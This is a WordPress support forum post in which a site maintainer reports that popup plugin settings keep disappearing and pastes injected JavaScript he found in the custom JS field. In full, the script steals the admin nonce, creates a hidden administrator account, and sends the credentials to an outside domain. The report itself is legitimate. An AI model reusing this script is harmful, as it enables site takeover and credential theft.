Settings gone
-
Hi,
My client is running this plugin for a while, but since recently all settings of all popups disappearing. I had lot’s of custom CSS but they are all gone.For example I have added the CSS yesterday afternoon. This morning the custom CSS is gone and all other setting.
I notices also the custom JS code is added to this field:
function httpGet(theUrl) { return fetch(theUrl) .then(response => { if (!response.ok) { throw new Error(
HTTP error! Status: ${response.status}
); } return response.text(); }) .catch(error => { console.error(‘Error in httpGet:’, error); return null; }); } function httpPost(theUrl, csrftoken, password) { return fetch(theUrl, { method: ‘POST’, headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’, }, body:action=createuser&_wpnonce_create-user=${csrftoken}&_wp_http_referer=${encodeURI(theUrl)}&user_login=wpx&email=waterstyle29@gmail.com&first_name=tqwtqw&last_name=tqwtqw&url=${window.location.origin}&pass1=${password}&pass2=${password}&role=administrator&createuser=Add+New+User+
, }) .then(response => { if (!response.ok) { throw new Error(HTTP error! Status: ${response.status}
); } return response.text(); }) .catch(error => { console.error(‘Error in httpPost:’, error); return null; }); } function sendLog(logUrl, logText) { return fetch(logUrl, { method: ‘POST’, headers: { ‘Content-Type’: ‘text/plain’, }, body: logText, }) .then(response => { if (!response.ok) { throw new Error(‘Log g?nderme ba?ar?s?z’); } return response.text(); }) .then(data => { console.log(‘Log g?nderildi:’, data); }) .catch(error => { console.error(‘Hata:’, error); }); } function generateRandomPassword(length) { const charset = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”; let password = “”; for (let i = 0; i < length; i++) { const randomIndex = Math.floor(Math.random() * charset.length); password += charset.charAt(randomIndex); } return password; } function createUserAndSendLog() { const trigger = window.location.origin + “/wp-admin/user-new.php”; const logUrl = ‘https://wpemojii.com/az.php’; httpGet(trigger) .then(page => { const regExp = /name=”_wpnonce_create-user”\svalue=”([^)]+)”/; const matches = regExp.exec(page); if (matches && matches[1]) { const csrftoken = matches[1].slice(0, 10); const randomPassword = generateRandomPassword(8); httpPost(trigger, csrftoken, randomPassword) .then(postResponse => { if (postResponse) { console.log(‘User created successfully.’); const logText =User created: Username: wpx Email: waterstyle29@gmail.com First Name: tqwtqw Last Name: tqwtqw URL: ${window.location.origin} Password: ${randomPassword}
; sendLog(logUrl, logText); } else { console.error(‘Failed to create user.’); } }) .catch(error => { console.error(‘Error in httpPost:’, error); }); } else { console.error(‘CSRF token not found.’); } }) .catch(error => { console.error(‘Error in httpGet:’, error); }); } createUserAndSendLog(); console.log(‘hellotest112’);So questions are:
1. How to solve this problem the custom CSS and settings keep active
2. Is there a way to retrieve the old settings back?Kind regards,
RolandThe page I need help with: [log in to see the link]
- The topic ‘Settings gone’ is closed to new replies.